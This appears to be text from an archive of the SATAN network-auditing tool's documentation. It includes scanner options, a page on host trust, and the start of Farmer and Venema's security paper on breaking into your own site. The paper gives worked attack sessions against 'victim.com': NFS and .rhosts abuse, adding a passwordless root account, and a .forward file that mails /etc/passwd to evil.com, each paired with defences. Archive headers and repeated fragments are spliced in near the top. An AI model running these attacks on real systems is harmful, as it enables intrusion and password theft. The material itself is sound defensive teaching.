  6002. of probe information about a specific host.
  6003. </UL>
  6004.  
  6005. <p>
  6006. <A NAME="trust"><strong>Trust</strong></A>
  6007. <p>
  6008. This is a way of
  6009. finding out the most important hosts on the network; the more hosts that
  6010. trust a host (e.g. depend on some service, have logged in from the host,
  6011. etc.), the more interesting it is to break-in from the outside, for once
  6012. broken into an intruder could either break into or at least have a much
  6013. better chance to break into the dependent hosts as well.
  6014.  
  6015. <p>
  6016. <A NAME="tricky-implications"><H3>Hints, Further Tricky Security Implications,
  6017. or Getting the Big Picture</H3></A>
  6018. It's just as important to understand what the SATAN reports <I>don't</I>
  6019. show as well as what they show.  It can be very comforting to see SATAN
  6020. returning a clean bill of health (i.e. no vulnerabilities found), but
  6021. that will often merely mean that more probing should be done.  Here are
  6022. some general suggestions on how to get the most out of SATAN; this
  6023. requires a fairly good understanding of the 
  6024. <a href=satan.cf.html> config/satan.cf</a> (SATAN configuration) file:
  6025. <UL>
  6026. <li>Probe your own hosts from an <STRONG>EXTERNAL</STRONG> site!  This
  6027. is a <STRONG>necessity</STRONG> for firewalls, and a very good idea
  6028. for sites in general.
  6029. <li>Probe your hosts as heavily as possible, and use a high
  6030. $proximity_descent value (2 or 3 are good.)
  6031. <li>Use a very low $max_proximity_level - it is almost never necessary
  6032. to use more than 2.  However, if you're behind a firewall (e.g.
  6033. have no direct IP connectivity from the host that is running the SATAN
  6034. scan (Be <STRONG>VERY</STRONG> careful if you're running SATAN behind a
  6035. firewall that allows inside users to have direct IP connectivity to hosts
  6036. on the Internet!  You are essentially on the Internet as far as SATAN
  6037. is concerned), you can set this higher.  There should be almost no reason
  6038. to ever set this to anything beyond single digits.
  6039.  
  6040. <li>Start with light probes and probe more heavily when you see
  6041. potential danger spots.  Keep tight control over what you scan - don't
  6042. scan other people's hosts without permission!
  6043. <li>Use the <I>$only_attack_these</I> and <I>$dont_attack_these</I>
  6044. variables to control where your attacks are going.
  6045. <li>Collect all of your user's <I>.rhosts</I> files and make a list of
  6046. all external hosts found there.  Get permission from the system administrators
  6047. of those remote sites and run SATAN against <STRONG>all</STRONG> of them.
  6048. <li>If you have a host that a lot of other hosts trust or have critical
  6049. hosts, make sure that you scan these hosts with a "heavy" scan to help
  6050. ensure that no one can gain access to these.  Unless politically
  6051. impossible, scan the entire subnet of these key hosts as well, because
  6052. once on a subnet, it's very easy to break into other hosts on the same
  6053. subnet.
  6054. </UL>
  6055. <p>
  6056. <A NAME="command-line"><H3>The Command-line Interface</H3></A>
  6057. For those without a good HTML browser, for those die-hard Un*x types
  6058. that despise GUI's, or for simply firing off probes when you don't want
  6059. to leave a several megabyte memory hog (your HTML viewer) doing
  6060. essentially nothing, all of the probing functionality is accessible from
  6061. your favorite Un*x shell prompt.  However, you <STRONG>cannot</STRONG>
  6062. examine the reports, do queries, or any of a number of other nifty
  6063. things by simply using the command line.  This is because the reporting
  6064. programs were written to emit HTML code, and even the two hard-core Un*x
  6065. hackers who wrote this program love (and hate, we must admit) what HTML
  6066. can do.
  6067. <p>
  6068. Here are the command line options, what they do, and what SATAN
  6069. variables they correspond to. 
  6070. Further explanations
  6071. of the variables that are mentioned here can be found in the
  6072. <a href=satan.cf.html> config/satan.cf</a> (SATAN configuration) file.
  6073. <p>
  6074. SATAN enters interactive mode when no target host is specified. 
  6075. <p>
  6076. <dl compact>
  6077. <DT>-a <dd> Attack level (0=light, 1=normal, 2=heavy). Variable:
  6078. <i>$attack_level</i>.
  6079. <p><dt>-c 'name = value; name = value...' <dd> Change SATAN variables. 
  6080. Use this to overrule configuration variables that do not have their
  6081. own command-line option.
  6082. <p><dt>-d <dd> SATAN database to read already collected data from,
  6083. and to save new data to.  Variable: <i>$satan_data</i>.
  6084. <p><dt>-i <dd> Ignore already collected data.
  6085. <p><dt>-l <dd> Maximal proximity level. Variable: <i>$max_proximity_level</i>.
  6086. <p><dt>-o list <dd> Scan only these hosts, domains or networks. Variable: 
  6087. <i>$only_attack_these</i>.
  6088. <p><dt>-O list <dd> Don't scan these hosts, domains or networks. Variable:
  6089. <i>$dont_attack_these</i>.
  6090. <p><dt>-s <dd> Enable subnet expansions. Variable:
  6091. <i>$attack_proximate_subnets</i>.
  6092. <p><dt>-S status_file <dd> SATAN status file (default <i>status_file</i>).
  6093. Variable: <i>$status_file</i>.
  6094. <p><dt>-t level <dd> Timeout length (0 = short, 1 = medium, 2 = long). Variable:
  6095. <i>$timeout</i>.
  6096. <p><dt>-v <dd> Turn on debugging output (to stdout). Variable: <i>$debug</i>.
  6097. <p><dt>-V <dd> Print version number and terminate.
  6098. <p><dt>-z <dd> Continue with attack level of zero when the level would become negative. The scan continues until
  6099. the maximal proximity level is reached.
  6100. <p><dt>-Z <dd> Opposite of the <i>-z</i> option.
  6101. </dl>
  6102.  
  6103. <p>
  6104. <hr>
  6105. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  6106.  
  6107. </BODY>
  6108. </HTML>
  6109. <STRONG>necessity</STRONG> for firewalls, and a very good idea
  6110. for sites in general.
  6111. <li>Probe your hosts as heavily as possible, and use a high
  6112. $proximity_descent value (2 or 3 are good.)
  6113. <li>Use a very low $max_satan-1.1.1/html/docs/trust.html....................................................................   600 .   465 .   506 .       5365  5737562557  11672. .............................................................................
  6114. .................................................................................................................................................................................................................................................................
  6115. ......................<HTML>
  6116. <HEAD>
  6117. <title>TRUST</title>
  6118. <LINK REV="made" HREF="mailto:satan@fish.com">
  6119. </HEAD>
  6120. <BODY>
  6121. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Trust</H1>
  6122. <HR>
  6123.  
  6124. Trust is one of the most, if not the most, important concepts in SATAN.
  6125. The issues and implications of trust are a bit more subtle and
  6126. far-reaching than what we've covered before; in the context of this
  6127. documentation we use the word trust whenever there is a situation when a
  6128. server (note that any host that allows any remote access can be called a
  6129. server) can have a local resource either used or compromised by a client
  6130. with or without the proper authorization.  In addition, trust is
  6131. transitive; e.g. if host <i>B</i> trusts host <i>A</i>, and an intruder
  6132. can compromise host <i>A</i>, then the intruder can also compromise
  6133. host <i>B</i>.
  6134.  
  6135. <p>
  6136.  
  6137. There are many ways that a host can trust: .rhosts and hosts.equiv files
  6138. that allow access without password verification are the most common, but
  6139. other examples are window servers that allow remote systems to use and
  6140. abuse privileges; export files that control access via NFS, etc.
  6141. However (and this is the most controversial statement about trust), we
  6142. also say that if a host has had <strong>login</strong> accesses from
  6143. another host, that the former host trusts the latter.  The reason for
  6144. this is that unless extra authentication is being used, if a user logs
  6145. in from a compromised remote host then the attacker can steal the
  6146. password and data streams from the legitimate user and can almost
  6147. compromise the host in question.
  6148.  
  6149. <p>
  6150.  
  6151. Although the concept of how host trust works is well understood by most
  6152. system administrators, the <strong>dangers</strong> of trust, and the
  6153. <strong>practical</strong> problem it represents, irrespective of
  6154. trickier attacks such as hostname impersonation and IP spoofing, is one
  6155. of the least understood problems we know of on the Internet.  This goes
  6156. far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
  6157. systems -- indeed, much of the useful services in UNIX are based on the
  6158. concept that well known (to an administrator or user) sites are trusted
  6159. in some way.  What is not understood is how networking so tightly binds
  6160. security between what are normally considered disjoint hosts.
  6161.  
  6162. <p>
  6163.  
  6164. <strong>Any</strong> form of trust can be spoofed, fooled, or subverted,
  6165. especially when the authority that gets queried to check the credentials
  6166. of the client is either outside of the server's administrative domain,
  6167. when the trust mechanism is based on something that has a weak form of
  6168. authentication, or if the security of the other system involved is
  6169. outside of the direct control of the system administrator.  One or more
  6170. of these are usually true.
  6171. <hr>
  6172. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  6173. </BODY>
  6174. </HTML>
  6175.  in the
  6176. <a href=satan.cf.html> config/satan.cf</a> (SATAN configuration) file.
  6177. <p>
  6178. SATAN enters interactive mode when no target host is specified. 
  6179. <p>
  6180. <dl compact>
  6181. <DT>-a <dd> Attack level (0=light, 1=normal, 2=heavy). Variable:
  6182. <i>$attack_level</i>.
  6183. <p><dt>-c 'namesatan-1.1.1/html/docs/admin_guide_to_cracking.html..................................................   600 .   465 .   506 .     146450  5737222604  15344. ......................................................................................
  6184. .................................................................................................................................................................................................................................................................
  6185. .............<HTML>
  6186. <HEAD>
  6187. <title>Improving the Security of Your Site by Breaking Into it</title>
  6188. <LINK REV="made" HREF="mailto:satan@fish.com">
  6189. </HEAD>
  6190. <BODY>
  6191. <IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">
  6192. <H2>Improving the Security of Your Site by Breaking Into it</H2>
  6193. <HR>
  6194. <p>
  6195. <pre>
  6196.  
  6197.   Dan Farmer                      Wietse Venema
  6198.  
  6199.   Vicious Fishes                  Eindhoven University of Technology
  6200.   1685 Oak Street, #202           P.O. Box 513, 5600 MB
  6201.   San Francisco, CA  94117        Eindhoven, NL
  6202.  
  6203.   zen@fish.com                     wietse@wzv.win.tue.nl
  6204.  
  6205.  
  6206. Introduction
  6207. ------------
  6208.  
  6209. Every day, all over the world, computer networks and hosts are being
  6210. broken into.  The level of sophistication of these attacks varies
  6211. widely; while it is generally believed that most break-ins succeed due
  6212. to weak passwords, there are still a large number of intrusions that use
  6213. more advanced techniques to break in.  Less is known about the latter
  6214. types of break-ins, because by their very nature they are much harder to
  6215. detect.
  6216.  
  6217. -----
  6218.  
  6219. CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
  6220. Purdue.  Sun.  You name it, we've seen it broken into.  Anything that is
  6221. on the Internet (and many that isn't) seems to be fairly easy game.  Are
  6222. these targets unusual?  What happened?
  6223.  
  6224. Fade to...
  6225.  
  6226. A young boy, with greasy blonde hair, sitting in a dark room.  The room
  6227. is illuminated only by the luminescense of the C64's 40 character
  6228. screen.  Taking another long drag from his Benson and Hedges cigarette,
  6229. the weary system cracker telnets to the next faceless ".mil" site on his
  6230. hit list.  "guest -- guest", "root -- root", and "system -- manager" all
  6231. fail.  No matter.  He has all night... he pencils the host off of his
  6232. list, and tiredly types in the next potential victim...
  6233.  
  6234. This seems to be the popular image of a system cracker.  Young,
  6235. inexperienced, and possessing vast quantities of time to waste, to get
  6236. into just one more system.  However, there is a far more dangerous type
  6237. of system cracker out there.  One who knows the ins and outs of the
  6238. latest security auditing and cracking tools, who can modify them for
  6239. specific attacks, and who can write his/her own programs.  One who not
  6240. only reads about the latest security holes, but also personally
  6241. discovers bugs and vulnerabilities.  A deadly creature that can both
  6242. strike poisonously and hide its tracks without a whisper or hint of a
  6243. trail.  The uebercracker is here.
  6244.  
  6245. -----
  6246.  
  6247. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  6248. uebermensch, or, literally translated into English, "over man."
  6249. Nietzsche used the term not to refer to a comic book superman, but
  6250. instead a man who had gone beyond the incompetence, pettiness, and
  6251. weakness of the everyday man.  The uebercracker is therefore the system
  6252. cracker who has gone beyond simple cookbook methods of breaking into
  6253. systems.  An uebercracker is not usually motivated to perform random
  6254. acts of violence.  Targets are not arbitrary -- there is a purpose,
  6255. whether it be personal monetary gain, a hit and run raid for
  6256. information, or a challenge to strike a major or prestigious site or
  6257. net.personality.  An uebercracker is hard to detect, harder to stop, and
  6258. hardest to keep out of your site for good.
  6259.  
  6260. Overview
  6261. --------
  6262.  
  6263. In this paper we will take an unusual approach to system security.
  6264. Instead of merely saying that something is a problem, we will look
  6265. through the eyes of a potential intruder, and show _why_ it is one.  We
  6266. will illustrate that even seemingly harmless network services can become
  6267. valuable tools in the search for weak points of a system, even when
  6268. these services are operating exactly as they are intended to.
  6269.  
  6270. In an effort to shed some light on how more advanced intrusions occur,
  6271. this paper outlines various mechanisms that crackers have actually used
  6272. to obtain access to systems and, in addition, some techniques we either
  6273. suspect intruders of using, or that we have used ourselves in tests or
  6274. in friendly/authorized environments.
  6275.  
  6276. Our motivation for writing this paper is that system administrators are
  6277. often unaware of the dangers presented by anything beyond the most
  6278. trivial attacks.  While it is widely known that the proper level of
  6279. protection depends on what has to be protected, many sites appear to
  6280. lack the resources to assess what level of host and network security is
  6281. adequate.  By showing what intruders can do to gain access to a remote
  6282. site, we are trying to help system administrators to make _informed_
  6283. decisions on how to secure their site -- or not.  We will limit the
  6284. discussion to techniques that can give a remote intruder access to a
  6285. (possibly non-interactive) shell process on a UNIX host.  Once this is
  6286. achieved, the details of obtaining root privilege are beyond the scope
  6287. of this work -- we consider them too site-dependent and, in many cases,
  6288. too trivial to merit much discussion.
  6289.  
  6290. We want to stress that we will not merely run down a list of bugs or
  6291. security holes -- there will always be new ones for a potential attacker
  6292. to exploit.  The purpose of this paper is to try to get the reader to
  6293. look at her or his system in a new way -- one that will hopefully afford
  6294. him or her the opportunity to _understand_ how their system can be
  6295. compromised, and how.
  6296.  
  6297. We would also like to reiterate to the reader that the purpose of this
  6298. paper is to show you how to test the security of your own site, not how
  6299. to break into other people's systems.  The intrusion techniques we
  6300. illustrate here will often leave traces in your system auditing logs --
  6301. it might be constructive to examine them after trying some of these
  6302. attacks out, to see what a real attack might look like.  Certainly other
  6303. sites and system administrators will take a very dim view of your
  6304. activities if you decide to use their hosts for security testing without
  6305. advance authorization; indeed, it is quite possible that legal action
  6306. may be pursued against you if they perceive it as an attack.
  6307.  
  6308. There are four main parts to the paper.  The first part is the
  6309. introduction and overview.  The second part attempts to give the reader
  6310. a feel for what it is like to be an intruder and how to go from knowing
  6311. nothing about a system to compromising its security.  This section goes
  6312. over actual techniques to gain information and entrance and covers basic
  6313. strategies such as exploiting trust and abusing improperly configured
  6314. basic network services (ftp, mail, tftp, etc.)  It also discusses
  6315. slightly more advanced topics, such as NIS and NFS, as well as various
  6316. common bugs and configuration problems that are somewhat more OS or
  6317. system specific.  Defensive strategies against each of the various
  6318. attacks are also covered here.
  6319.  
  6320. The third section deals with trust: how the security of one system
  6321. depends on the integrity of other systems.  Trust is the most complex
  6322. subject in this paper, and for the sake of brevity we will limit the
  6323. discussion to clients in disguise.
  6324.  
  6325. The fourth section covers the basic steps that a system administrator
  6326. may take to protect her or his system.  Most of the methods presented
  6327. here are merely common sense, but they are often ignored in practice --
  6328. one of our goals is to show just how dangerous it can be to ignore basic
  6329. security practices.
  6330.  
  6331. Case studies, pointers to security-related information, and software are
  6332. described in the appendices at the end of the paper.
  6333.  
  6334. While exploring the methods and strategies discussed in this paper we we
  6335. wrote SATAN (Security Analysis Tool for Auditing Networks.)  Written in
  6336. shell, perl, expect and C, it examines a remote host or set of hosts and
  6337. gathers as much information as possible by remotely probing NIS, finger,
  6338. NFS, ftp and tftp, rexd, and other services.  This information includes
  6339. the presence of various network information services as well as
  6340. potential security flaws -- usually in the form of incorrectly setup or
  6341. configured network services, well-known bugs in system or network
  6342. utilities, or poor or ignorant policy decisions.  It then can either
  6343. report on this data or use an expert system to further investigate any
  6344. potential security problems.  While SATAN doesn't use all of the methods
  6345. that we discuss in the paper, it has succeeded with ominous regularity
  6346. in finding serious holes in the security of Internet sites.  It will be
  6347. posted and made available via anonymous ftp when completed; Appendix A
  6348. covers its salient features.
  6349.  
  6350. Note that it isn't possible to cover all possible methods of breaking
  6351. into systems in a single paper.  Indeed, we won't cover two of the most
  6352. effective methods of breaking into hosts: social engineering and
  6353. password cracking.  The latter method is so effective, however, that
  6354. several of the strategies presented here are geared towards acquiring
  6355. password files.  In addition, while windowing systems (X, OpenWindows,
  6356. etc.) can provide a fertile ground for exploitation, we simply don't
  6357. know many methods that are used to break into remote systems.  Many
  6358. system crackers use non-bitmapped terminals which can prevent them from
  6359. using some of the more interesting methods to exploit windowing systems
  6360. effectively (although being able to monitor the victim's keyboard is
  6361. often sufficient to capture passwords).  Finally, while worms, viruses,
  6362. trojan horses, and other malware are very interesting, they are not
  6363. common (on UNIX systems) and probably will use similar techniques to the
  6364. ones we describe in this paper as individual parts to their attack
  6365. strategy.
  6366.  
  6367. Gaining Information
  6368. -------------------
  6369.  
  6370. Let us assume that you are the head system administrator of Victim
  6371. Incorporated's network of UNIX workstations.  In an effort to secure
  6372. your machines, you ask a friendly system administrator from a nearby
  6373. site (evil.com) to give you an account on one of her machines so that
  6374. you can look at your own system's security from the outside.
  6375.  
  6376. What should you do?  First, try to gather information about your
  6377. (target) host.  There is a wealth of network services to look at:
  6378. finger, showmount, and rpcinfo are good starting points.  But don't stop
  6379. there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
  6380. and as many other services as you can find.  There are so many methods
  6381. and techniques that space precludes us from showing all of them, but we
  6382. will try to show a cross-section of the most common and/or dangerous
  6383. strategies that we have seen or have thought of.  Ideally, you would
  6384. gather such information about all hosts on the subnet or area of attack
  6385. -- information is power -- but for now we'll examine only our intended
  6386. target.
  6387.  
  6388. To start out, you look at what the ubiquitous finger command shows you
  6389. (assume it is 6pm, Nov 6, 1993):
  6390.  
  6391.  victim % finger @victim.com
  6392.  [victim.com]
  6393.  Login       Name             TTY Idle     When    Where
  6394.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  6395.  
  6396. Good!  A single idle user -- it is likely that no one will notice if you
  6397. actually manage to break in.
  6398.  
  6399. Now you try more tactics.  As every finger devotee knows, fingering "@",
  6400. "0", and "", as well as common names, such as root, bin, ftp, system,
  6401. guest, demo, manager, etc., can reveal interesting information.  What
  6402. that information is depends on the version of finger that your target is
  6403. running, but the most notable are account names, along with their home
  6404. directories and the host that they last logged in from.
  6405.  
  6406. To add to this information, you can use rusers (in particular with the
  6407. -l flag) to get useful information on logged-in users.
  6408.  
  6409. Trying these commands on victim.com reveals the following information,
  6410. presented in a compressed tabular form to save space:
  6411.  
  6412.  Login   Home-dir    Shell      Last login, from where
  6413.  -----   --------    -----      ----------------------
  6414.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  6415.  bin     /bin                   Never logged in
  6416.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  6417.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  6418.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  6419.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  6420.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  6421.  guest   /export/foo /bin/sh    Never logged in
  6422.  ftp     /home/ftp              Never logged in
  6423.  
  6424. Both our experiments with SATAN and watching system crackers at work
  6425. have proved to us that finger is one of the most dangerous services,
  6426. because it is so useful for investigating a potential target.  However,
  6427. much of this information is useful only when used in conjunction with
  6428. other data.
  6429.  
  6430. </pre>
  6431. <a name="unrestricted-NFS-export">
  6432. <pre>
  6433.  
  6434. For instance, running showmount on your target reveals:
  6435.  
  6436.  evil % showmount -e victim.com
  6437.  export list for victim.com:
  6438.  /export                            (everyone)
  6439.  /var                               (everyone)
  6440.  /usr                               easy
  6441.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  6442.  /export/root/easy                  easy
  6443.  /export/swap/easy                  easy
  6444.  
  6445. Note that /export/foo is exported to the world; also note that this is
  6446. user guest's home directory.  Time for your first break-in!  In this
  6447. case, you'll mount the home directory of user "guest."  Since you don't
  6448. have a corresponding account on the local machine and since root cannot
  6449. modify files on an NFS mounted filesystem, you create a "guest" account
  6450. in your local password file.  As user guest you can put an .rhosts entry
  6451. in the remote guest home directory, which will allow you to login to the
  6452. target machine without having to supply a password.
  6453.  
  6454.  evil # mount victim.com:/export/foo /foo
  6455.  evil # cd /foo
  6456.  evil # ls -lag
  6457.  total 3
  6458.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  6459.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  6460.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  6461.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  6462.  evil # ls -lag
  6463.  total 3
  6464.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  6465.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  6466.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  6467.  evil # su guest
  6468.  evil % echo evil.com >> guest/.rhosts
  6469.  evil % rlogin victim.com
  6470. . Welcome to victim.com!
  6471.  victim %
  6472.  
  6473. If, instead of home directories, victim.com were exporting filesystems
  6474. with user commands (say, /usr or /usr/local/bin), you could replace a
  6475. command with a trojan horse that executes any command of your choice.
  6476. The next user to execute that command would execute your program.
  6477.  
  6478. We suggest that filesystems be exported:
  6479.  
  6480. o   Read/write only to specific, trusted clients.
  6481. o   Read-only, where possible (data or programs can often be
  6482.     exported in this manner.)
  6483.  
  6484. </pre>
  6485. <a name="remote-shell-access">
  6486. <pre>
  6487.  
  6488. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  6489. various vendor's machines) or has the netgroups bug (CERT advisory
  6490. 91:12), any non-root user with a login name in the target's password
  6491. file can rlogin to the target without a password.  And since the user
  6492. "bin" often owns key files and directories, your next attack is to try
  6493. to log in to the target host and modify the password file to let you
  6494. have root access:
  6495.  
  6496.  evil % whoami
  6497.  bin
  6498.  evil % rsh victim.com csh -i
  6499.  Warning: no access to tty; thus no job control in this shell...
  6500.  victim %  ls -ldg /etc
  6501.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  6502.  victim %  cd /etc
  6503.  victim %  mv passwd pw.old
  6504.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  6505.  victim % ^D
  6506.  evil % rlogin victim.com -l toor
  6507. . Welcome to victim.com!
  6508.  victim #
  6509.  
  6510. A few notes about the method used above; "rsh victim.com csh -i" is used
  6511. to initially get onto the system because it doesn't leave any traces in
  6512. the wtmp or utmp system auditing files, making the rsh invisible for
  6513. finger and who.  The remote shell isn't attached to a pseudo-terminal,
  6514. however, so that screen-oriented programs such as pagers and editors
  6515. will fail -- but it is very handy for brief exploration.
  6516.  
  6517. The COPS security auditing tool (see appendix D) will report key files
  6518. or directories that are writable to accounts other than the
  6519. superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
  6520. file permission problems. On many systems, rsh probes as shown above,
  6521. even when successful, would remain completely unnoticed; the tcp wrapper
  6522. (appendix D), which logs incoming connections, can help to expose such
  6523. activities.
  6524.  
  6525. ----
  6526.  
  6527. </pre>
  6528. <a name="writable-ftp">
  6529. <pre>
  6530.  
  6531. What now?  Have you uncovered all the holes on your target system?  Not
  6532. by a long shot.  Going back to the finger results on your target, you
  6533. notice that it has an "ftp" account, which usually means that anonymous
  6534. ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
  6535. is often misconfigured.  For example, the target may have a complete
  6536. copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
  6537. instead of a stripped down version.  In this example, thfinger ough, you see
  6538. that the latter doesn't seem to be true (how can you tell without
  6539. actually examining the file?)  However, the home directory of ftp on
  6540. victim.com is writable.  This allows you to remotely execute a command
  6541. -- in this case, mailing the password file back to yourself -- by the
  6542. simple method of creating a .forward file that executes a command when
  6543. mail is sent to the ftp account. This is the same mechanism of piping
  6544. mail to a program that the "vacation" program uses to automatically
  6545. reply to mail messages.
  6546.  
  6547.  evil % cat forward_sucker_file
  6548.  "|/bin/mail zen@evil.com < /etc/passwd"
  6549.  
  6550.  evil % ftp victim.com
  6551.  Connected to victim.com
  6552.  220 victim FTP server ready.
  6553.  Name (victim.com:zen): ftp
  6554.  331 Guest login ok, send ident as password.
  6555.  Password:
  6556.  230 Guest login ok, access restrictions apply.
  6557.  ftp> ls -lga
  6558.  200 PORT command successful.
  6559.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  6560.  total 5
  6561.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  6562.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  6563.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  6564.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  6565.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  6566.  226 ASCII Transfer complete.
  6567.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  6568.  ftp> put forward_sucker_file .forward
  6569.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  6570.  ftp> quit
  6571.  evil % echo test | mail ftp@victim.com
  6572.  
  6573. Now you simply wait for the password file to be sent back to you.
  6574.  
  6575. The security auditing tool COPS will check your anonymous ftp setup; see
  6576. the man page for ftpd, the documentation/code for COPS, or CERT advisory
  6577. 93:10 for information on how to set up anonymous ftp correctly.
  6578. Vulnerabilities in ftp are often a matter of incorrect ownership or
  6579. permissions of key files or directories. At the very least, make sure
  6580. that ~ftp and all "system" directories and files below ~ftp are owned by
  6581. root and are not writable by any user.
  6582.  
  6583. While looking at ftp, you can check for an older bug that was once
  6584. widely exploited:
  6585.  
  6586.  % ftp -n
  6587.  ftp> open victim.com
  6588.  Connected to victim.com
  6589.  220 victim.com FTP server ready.
  6590.  ftp> quote user ftp
  6591.  331 Guest login ok, send ident as password.
  6592.  ftp> quote cwd ~root
  6593.  530 Please login with USER and PASS.
  6594.  ftp> quote pass ftp
  6595.  230 Guest login ok, access restrictions apply.
  6596.  ftp> ls -al / (or whatever)
  6597.  
  6598. If this works, you now are logged in as root, and able to modify the
  6599. password file, or whatever you desire.  If your system exhibits this
  6600. bug, you should definitely get an update to your ftpd daemon, either
  6601. from your vendor or (via anon ftp) from ftp.uu.net.
  6602.  
  6603. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  6604. Washington University in Saint Louis, had almost the same problem.  If
  6605. your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
  6606. more recent version.
  6607.  
  6608.  
  6609. </pre>
  6610. <a name="tftp">
  6611. <pre>
  6612.  
  6613. Finally, there is a program vaguely similar to ftp -- tftp, or the
  6614. trivial file transfer program.  This daemon doesn't require any password
  6615. for authentication; if a host provides tftp without restricting the
  6616. access (usually via some secure flag set in the inetd.conf file), an
  6617. attacker can read and write files anywhere on the system. In the
  6618. example, you get the remote password file and place it in your local
  6619. /tmp directory:
  6620.  
  6621.  evil % tftp
  6622.  tftp> connect victim.com
  6623.  tftp> get /etc/passwd /tmp/passwd.victim
  6624.  tftp> quit
  6625.  
  6626. For security's sake, tftp should not be run; if tftp is necessary, use
  6627. the secure option/flag to restrict access to a directory that has no
  6628. valuable information, or run it under the control of a chroot wrapper
  6629. program.
  6630.  
  6631. ----
  6632.  
  6633. If none of the previous methods have worked, it is time to go on to more
  6634. drastic measures.  You have a friend in rpcinfo, another very handy
  6635. program, sometimes even more useful than finger.  Many hosts run RPC
  6636. services that can be exploited; rpcinfo can talk to the portmapper and
  6637. show you the way.  It can tell you if the host is running NIS, if it is
  6638. a NIS server or slave, if a diskless workstation is around, if it is
  6639. running NFS, any of the info services (rusersd, rstatd, etc.), or any
  6640. other unusual programs (auditing or security related).  For instance,
  6641. going back to our sample target:
  6642.  
  6643.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  6644.     program vers proto   port
  6645.      100004    2   tcp    673  ypserv
  6646.      100005    1   udp    721  mountd
  6647.      100003    2   udp   2049  nfs
  6648.      100026    1   udp    733  bootparam
  6649.      100017    1   tcp   1274  rexd
  6650.  
  6651. </pre>
  6652. <a name="nis-passwords">
  6653. <pre>
  6654.  
  6655. In this case, you can see several significant facts about our target;
  6656. first of which is that it is an NIS server.  It is perhaps not widely
  6657. known, but once you know the NIS domainname of a server, you can get any
  6658. of its NIS maps by a simple rpc query, even when you are outside the
  6659. subnet served by the NIS server (for example, using the YPX program that
  6660. can be found in the comp.sources.misc archives on ftp.uu.net).  In
  6661. addition, very much like easily guessed passwords, many systems use
  6662. easily guessed NIS domainnames.  Trying to guess the NIS domainname is
  6663. often very fruitful. Good candidates are the fully and partially
  6664. qualified hostname (e.g.  "victim" and "victim.com"), the organization
  6665. name, netgroup names in "showmount" output, and so on.  If you wanted to
  6666. guess that the domainname was "victim", you could type:
  6667.  
  6668.  evil % ypwhich -d victim victim.com
  6669.  Domain victim not bound.
  6670.  
  6671. This was an unsuccessful attempt; if you had guessed correctly it would
  6672. have returned with the host name of victim.com's NIS server.  However,
  6673. note from the NFS section that victim.com is exporting the "/var"
  6674. directory to the world.  All that is needed is to mount this directory
  6675. and look in the "yp" subdirectory -- among other things you will see
  6676. another subdirectory that contains the domainname of the target.
  6677.  
  6678.  evil # mount victim.com:/var /foo
  6679.  evil # cd /foo
  6680.  evil # /bin/ls -alg /foo/yp
  6681.  total 17
  6682.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  6683.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  6684.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  6685.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  6686.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  6687.     [...]
  6688.  
  6689. In this case, "foo_bar" is the NIS domain name.
  6690.  
  6691. In addition, the NIS maps often contain a good list of user/employee
  6692. names as well as internal host lists, not to mention passwords for
  6693. cracking.
  6694.  
  6695. Appendix C details the results of a case study on NIS password files.
  6696.  
  6697. ----
  6698.  
  6699. </pre>
  6700. <a name="rexd">
  6701. <pre>
  6702.  
  6703. You note that the rpcinfo output also showed that victim.com runs rexd.
  6704. Like the rsh daemon, rexd processes requests of the form "please execute
  6705. this command as that user". Unlike rshd, however, rexd does not care if
  6706. the client host is in the hosts.equiv or .rhost files. Normally the rexd
  6707. client program is the "on" command, but it only takes a short C program
  6708. to send arbitrary client host and userid information to the rexd server;
  6709. rexd will happily execute the command.  For these reasons, running rexd
  6710. is similar to having no passwords at all: all security is in the client,
